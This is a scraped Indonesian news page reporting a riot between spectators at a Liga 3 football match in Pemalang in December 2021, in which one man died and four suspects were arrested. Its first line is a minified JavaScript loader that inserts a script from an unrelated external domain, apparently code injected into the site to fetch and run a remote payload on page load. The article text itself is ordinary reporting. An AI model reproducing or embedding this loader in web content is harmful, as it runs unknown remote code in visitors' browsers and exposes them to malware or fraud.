(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Liga 3 Berubah Jadi Ajang Rusuh Suporter, Satu Tewas


KANALKALIMANTAN.COM – Kompetisi Liga 3 Pemalang yang seharusnya jadi ajang adu skill olah bola justru berujung kericuhan dan pertumpahan darah.

Bahkan satu orang harus meregang nyawa sia-sia. Korban berinisial S (26) warga Desa Banjarmulya RT 3 RW 3, Kecamatan Pemalang, Kabupaten Pemalang, tewas usai menjadi korban pengeroyokan kericuhan antarpenonton di Stadion Mochtar Pemalang.

Korban menghembuskan nafas terakhir di Rumah Sakit (RS) Tugurejo, Kota Semarang, Sabtu (1/1/2022), usai menjalani perawatan selama beberapa hari.

Polres Pemalang telah mengamankan empat orang tersangka S (33), A (28), B (27) dan K (24). Setelah melakukan pengeroyokan terhadap korban, Kapolres Pemalang AKBP Ari Wibowo mengungkapkan, empat tersangka langsung diamankan oleh Satreskrim Polres Pemalang di rumahnya masing-masing pada Selasa (28/12/2021) malam.

 

Baca juga : Sengketa TCT-AGM di Underpass Km 101 Harus Berakhir

“Keempat tersangka sudah diamankan, sampai saat ini penyidik Satreskrim Polres Pemalang masih melakukan pemeriksaan intensif terhadap para tersangka,” ungkap Kapolres, Minggu (2/1/2022).

Dari informasi yang dihimpun, kejadian itu bermula saat Perselo Lobongkok Desa Banjarmulya bertanding melawan Putra Jaya Desa Kramat dalam Liga 3 Askab PSSI Pemalang Stadion Mochtar Pemalang pada Selasa (28/12/2021).

Namun entah bagaimana awalnya, justru terjadi kericuhan dan bentrokan antarpenonton yang menewaskan satu orang.

Ari Wibowo memaparkan, selain mengamankan empat tersangka, Satreskrim Polres Pemalang juga telah mengamankan sejumlah barang bukti di tempat kejadian perkara.

 

Baca juga : Tutup Tahun Vaksinasi Bergerak Menyasar 10 Desa di Beruntung Baru

Kapolres Pemalang mengatakan, keempat tersangka yang telah diamankan dikenakan Pasal 170 KUHP, dengan ancaman hukuman maksimal 12 tahun penjara.

“Kami masih melakukan pengembangan, tidak menutup kemungkinan adanya pelaku lain yang terlibat dalam pengeroyokan terhadap korban, dan akan segera kami amankan,” ungkap Kapolres.

Semantara itu Kapolda Jatang Irjen Ahmad Luthfi melalui Kabid Humas Kombes Pol M Iqbal Alqudusy menyampaikan bela sungkawa kepada Korban dan berterima kasih kepada anggota Penalang yang sudah dengan cepat ungkap Kasus ini serta berjanji akan menutaskan kasus ini sampai ke pengadilan.

“Kami Polri ikut berbela sungkawa dan akan tuntaskan kasus ini,” tutup Iqbal. (Suara.com)

Editor : kk


Desy Arfianty

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

19 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

23 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

1 hari ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

1 hari ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

1 hari ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

1 hari ago

This website uses cookies.